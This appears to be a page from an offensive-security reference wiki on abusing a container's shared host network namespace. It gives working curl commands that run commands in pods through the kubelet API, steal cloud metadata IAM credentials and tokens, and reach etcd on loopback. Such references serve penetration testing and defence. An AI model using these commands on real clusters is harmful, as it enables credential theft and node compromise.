Host network namespace

A container sharing the host network namespace uses the host's interfaces, routing, and loopback. That exposes services bound to 127.0.0.1 on the node, such as the kubelet read-write API, the cloud metadata service, and local admin daemons, and allows sniffing and binding on host interfaces, turning network reach into credential theft and node compromise.

2 min di letturaaggiornato il 7 ott 2026florianamette1 contributore
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--net=host or hostNetwork: true places the container directly on the host's network stack: the same interfaces, routing table, and, critically, the same loopback. Services that bind to 127.0.0.1 assume only host-local callers can reach them, so sharing the namespace exposes those services to the container. On a cloud node or Kubernetes worker this is a direct path to the kubelet, the metadata service, and local management daemons.

Confirm and enumerate:

bash
ip addr                                   # host interfaces (not a lone eth0/veth)
ss -tlnp 2>/dev/null                       # host-local listeners, including 127.0.0.1 ones
ip route                                   # host routing table

Routes#

bash
# Kubelet read-write API on the node (often 10250): list pods, exec into them
curl -sk https://127.0.0.1:10250/pods | head
curl -sk -XPOST "https://127.0.0.1:10250/run/<ns>/<pod>/<container>" -d 'cmd=id'

# Cloud instance metadata: steal the node's role credentials
curl -s http://169.254.169.254/latest/meta-data/iam/security-credentials/
curl -s -H 'Metadata-Flavor: Google' \
  http://169.254.169.254/computeMetadata/v1/instance/service-accounts/default/token

# Local-only admin services assumed unreachable from workloads
curl -s http://127.0.0.1:2379/version      # etcd, if bound to loopback

The kubelet and metadata routes are the highest value: the kubelet API can exec into other pods on the node, and the metadata credentials are the node's cloud identity, frequently permitting broad account actions.

Exploitation notes#

  • This is a reachability escape: it does not by itself run code on the host, but it unlocks services whose own weak authentication (an anonymous kubelet, an open etcd, a token-vending metadata endpoint) completes the compromise.
  • Sharing the namespace also permits binding to host ports and sniffing host interfaces, enabling interception of node-local plaintext traffic.
  • In Kubernetes, hostNetwork pods are a standard node-credential path; combine with the metadata and kubelet routes under Pod escape to node.

References#

PrecedenteHost PID namespaceSuccessiva Host IPC namespace